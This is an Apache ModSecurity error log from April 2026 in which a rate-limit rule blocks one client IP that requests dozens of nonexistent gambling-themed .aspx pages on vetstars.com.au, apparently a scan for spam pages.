[Tue Apr 21 01:54:00.697768 2026] [:error] [pid 11494:tid 11505] [client 54.37.252.212:50256] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aeZoOMgko5iFiE8YoyQ_jgAAAYk"]
[Tue Apr 21 01:54:03.236581 2026] [:error] [pid 11494:tid 11498] [client 54.37.252.212:50258] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aeZoO8gko5iFiE8YoyQ_lwAAAYI"]
[Tue Apr 21 01:54:06.437771 2026] [:error] [pid 11494:tid 11508] [client 54.37.252.212:50266] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aeZoPsgko5iFiE8YoyQ_nAAAAYw"]
[Tue Apr 21 01:54:09.355230 2026] [:error] [pid 6928:tid 6952] [client 54.37.252.212:44204] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aeZoQR3y7MHq1iB0qYrwJgAAAVY"]
[Tue Apr 21 01:54:12.076010 2026] [:error] [pid 11441:tid 11466] [client 54.37.252.212:44212] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aeZoRMixByFUvmh319DlGwAAANc"]
[Tue Apr 21 01:54:14.649428 2026] [:error] [pid 11494:tid 11506] [client 54.37.252.212:44228] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aeZoRsgko5iFiE8YoyQ_rwAAAYo"]
[Tue Apr 21 01:54:17.698723 2026] [:error] [pid 11350:tid 11369] [client 54.37.252.212:40130] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aeZoSf4EoMBgOJuJnT0wegAAAAo"]
[Tue Apr 21 01:54:20.528398 2026] [:error] [pid 11350:tid 11359] [client 54.37.252.212:40136] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aeZoTP4EoMBgOJuJnT0wfwAAAAA"]
[Tue Apr 21 01:54:23.519515 2026] [:error] [pid 11441:tid 11449] [client 54.37.252.212:40148] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aeZoT8ixByFUvmh319DlIgAAAMY"]
[Tue Apr 21 01:54:26.155186 2026] [:error] [pid 11494:tid 11506] [client 54.37.252.212:40154] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aeZoUsgko5iFiE8YoyQ_wQAAAYo"]
[Tue Apr 21 01:54:29.044718 2026] [:error] [pid 11350:tid 11362] [client 54.37.252.212:34688] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aeZoVf4EoMBgOJuJnT0whwAAAAM"]
[Tue Apr 21 01:54:32.212886 2026] [:error] [pid 11350:tid 11360] [client 54.37.252.212:34702] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aeZoWP4EoMBgOJuJnT0wjQAAAAE"]
[Tue Apr 21 01:54:35.315490 2026] [:error] [pid 11441:tid 11465] [client 54.37.252.212:34708] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeZoW8ixByFUvmh319DlKAAAANY"]
[Tue Apr 21 01:54:38.041129 2026] [:error] [pid 11441:tid 11467] [client 54.37.252.212:34500] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeZoXsixByFUvmh319DlKwAAANg"]
[Tue Apr 21 01:54:40.763344 2026] [:error] [pid 11351:tid 11411] [client 54.37.252.212:34502] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aeZoYAN8Z1-vktaI_tOkPwAAAFg"]
[Tue Apr 21 01:54:43.607803 2026] [:error] [pid 11351:tid 11409] [client 54.37.252.212:34510] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aeZoYwN8Z1-vktaI_tOkSwAAAFY"]
[Tue Apr 21 01:54:46.276344 2026] [:error] [pid 11351:tid 11397] [client 54.37.252.212:34512] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aeZoZgN8Z1-vktaI_tOkVgAAAEo"]
[Tue Apr 21 01:54:48.993836 2026] [:error] [pid 11494:tid 11511] [client 54.37.252.212:43164] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aeZoaMgko5iFiE8YoyQ_8AAAAY8"]
[Tue Apr 21 01:55:37.552017 2026] [:error] [pid 11351:tid 11404] [client 54.37.252.212:43170] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aeZomQN8Z1-vktaI_tOkzgAAAFE"]
[Tue Apr 21 01:55:40.197556 2026] [:error] [pid 11494:tid 11503] [client 54.37.252.212:34230] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aeZonMgko5iFiE8YoyRAKgAAAYc"]
[Tue Apr 21 01:55:42.913395 2026] [:error] [pid 11352:tid 11426] [client 54.37.252.212:34234] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aeZonml10mhMSfJ7ir8FYwAAAIw"]
[Tue Apr 21 01:55:45.368601 2026] [:error] [pid 42014:tid 42028] [client 54.37.252.212:34250] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aeZoocek-00-ZI0f1NqylgAAAQw"]
[Tue Apr 21 01:55:48.019378 2026] [:error] [pid 42014:tid 42018] [client 54.37.252.212:41608] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aeZopMek-00-ZI0f1NqymAAAAQI"]
[Tue Apr 21 01:55:50.550017 2026] [:error] [pid 6928:tid 6944] [client 54.37.252.212:41618] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aeZoph3y7MHq1iB0qYrwaAAAAU4"]
[Tue Apr 21 01:55:53.217477 2026] [:error] [pid 11351:tid 11393] [client 54.37.252.212:41634] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aeZoqQN8Z1-vktaI_tOk5AAAAEY"]
[Tue Apr 21 01:55:56.207420 2026] [:error] [pid 11350:tid 11377] [client 54.37.252.212:41638] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aeZorP4EoMBgOJuJnT0xbgAAABI"]
[Tue Apr 21 01:55:58.899526 2026] [:error] [pid 11351:tid 11406] [client 54.37.252.212:57412] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aeZorgN8Z1-vktaI_tOk6wAAAFM"]
[Tue Apr 21 01:56:01.543089 2026] [:error] [pid 6928:tid 6930] [client 54.37.252.212:57414] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aeZosR3y7MHq1iB0qYrwawAAAUA"]
[Tue Apr 21 01:56:03.955688 2026] [:error] [pid 11350:tid 11363] [client 54.37.252.212:57426] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aeZos_4EoMBgOJuJnT0xdQAAAAQ"]
[Tue Apr 21 01:56:06.606171 2026] [:error] [pid 11351:tid 11387] [client 54.37.252.212:57442] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aeZotgN8Z1-vktaI_tOlAQAAAEA"]
[Tue Apr 21 01:56:09.074710 2026] [:error] [pid 11350:tid 11366] [client 54.37.252.212:33788] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aeZouf4EoMBgOJuJnT0xegAAAAc"]
[Tue Apr 21 01:56:11.891310 2026] [:error] [pid 11350:tid 11374] [client 54.37.252.212:33792] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aeZou_4EoMBgOJuJnT0xgAAAAA8"]
[Tue Apr 21 01:56:14.399272 2026] [:error] [pid 11352:tid 11414] [client 54.37.252.212:33804] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aeZovml10mhMSfJ7ir8FcAAAAIA"]
[Tue Apr 21 01:56:17.025403 2026] [:error] [pid 6928:tid 6952] [client 54.37.252.212:55574] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aeZowR3y7MHq1iB0qYrwdgAAAVY"]
[Tue Apr 21 01:56:19.631532 2026] [:error] [pid 11350:tid 11381] [client 54.37.252.212:55576] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aeZow_4EoMBgOJuJnT0xkAAAABY"]
[Tue Apr 21 01:56:22.040693 2026] [:error] [pid 11441:tid 11456] [client 54.37.252.212:55588] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aeZoxsixByFUvmh319DlrwAAAM0"]
[Tue Apr 21 01:56:24.701703 2026] [:error] [pid 11494:tid 11506] [client 54.37.252.212:55602] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeZoyMgko5iFiE8YoyRAZgAAAYo"]
[Tue Apr 21 01:56:27.255310 2026] [:error] [pid 11494:tid 11499] [client 54.37.252.212:43914] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aeZoy8gko5iFiE8YoyRAbwAAAYM"]
[Tue Apr 21 01:56:29.834766 2026] [:error] [pid 11352:tid 11434] [client 54.37.252.212:43916] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aeZozWl10mhMSfJ7ir8FeAAAAJQ"]
[Tue Apr 21 01:56:32.243526 2026] [:error] [pid 11351:tid 11399] [client 54.37.252.212:43924] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aeZo0AN8Z1-vktaI_tOlSQAAAEw"]
[Tue Apr 21 01:57:22.202138 2026] [:error] [pid 11352:tid 11421] [client 54.37.252.212:43936] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aeZpAml10mhMSfJ7ir8FkAAAAIc"]
[Tue Apr 21 01:57:24.830654 2026] [:error] [pid 42014:tid 42036] [client 54.37.252.212:40890] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aeZpBMek-00-ZI0f1NqyugAAARQ"]
[Tue Apr 21 01:57:27.339436 2026] [:error] [pid 6928:tid 6944] [client 54.37.252.212:39904] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aeZpBx3y7MHq1iB0qYrwlwAAAU4"]
[Tue Apr 21 01:57:29.906410 2026] [:error] [pid 11351:tid 11395] [client 54.37.252.212:39914] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aeZpCQN8Z1-vktaI_tOlnQAAAEg"]
[Tue Apr 21 01:57:32.874712 2026] [:error] [pid 11494:tid 11514] [client 54.37.252.212:39920] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aeZpDMgko5iFiE8YoyRApQAAAZI"]
[Tue Apr 21 01:57:35.420382 2026] [:error] [pid 11351:tid 11391] [client 54.37.252.212:39922] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aeZpDwN8Z1-vktaI_tOlpQAAAEQ"]
[Tue Apr 21 01:57:37.918634 2026] [:error] [pid 11441:tid 11464] [client 54.37.252.212:57154] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aeZpEcixByFUvmh319Dl0wAAANU"]
[Tue Apr 21 01:57:41.019401 2026] [:error] [pid 11350:tid 11377] [client 54.37.252.212:57170] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aeZpFf4EoMBgOJuJnT0xwwAAABI"]
[Tue Apr 21 01:57:43.525531 2026] [:error] [pid 6928:tid 6939] [client 54.37.252.212:57184] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeZpFx3y7MHq1iB0qYrwoQAAAUk"]
[Tue Apr 21 01:57:46.225007 2026] [:error] [pid 11352:tid 11432] [client 54.37.252.212:57192] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeZpGml10mhMSfJ7ir8FlQAAAJI"]
[Tue Apr 21 01:57:49.233747 2026] [:error] [pid 11494:tid 11519] [client 54.37.252.212:54898] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aeZpHcgko5iFiE8YoyRArQAAAZc"]
[Tue Apr 21 01:57:51.952144 2026] [:error] [pid 11494:tid 11505] [client 54.37.252.212:54902] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aeZpH8gko5iFiE8YoyRArgAAAYk"]
[Tue Apr 21 01:57:55.089992 2026] [:error] [pid 11350:tid 11367] [client 54.37.252.212:54918] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aeZpI_4EoMBgOJuJnT0x3wAAAAg"]
[Tue Apr 21 01:57:57.863673 2026] [:error] [pid 6928:tid 6935] [client 54.37.252.212:51588] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeZpJR3y7MHq1iB0qYrwpgAAAUU"]
[Tue Apr 21 01:58:01.677801 2026] [:error] [pid 11350:tid 11378] [client 54.37.252.212:51604] [client 54.37.252.212] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aeZpKf4EoMBgOJuJnT0x-QAAABM"]
